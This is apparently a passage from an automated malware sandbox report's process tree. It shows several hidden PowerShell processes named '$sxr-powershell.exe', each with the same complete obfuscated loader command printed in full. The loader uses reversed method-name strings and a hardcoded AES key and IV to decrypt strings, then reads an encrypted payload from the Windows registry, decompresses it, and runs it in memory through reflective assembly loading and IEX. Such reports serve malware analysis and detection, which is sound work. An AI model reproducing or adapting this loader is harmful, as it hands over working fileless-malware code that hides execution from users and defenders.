$yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        
        PID:8564
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:8584
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:8908
        
        C:\Windows\$sxr-powershell.exe
        
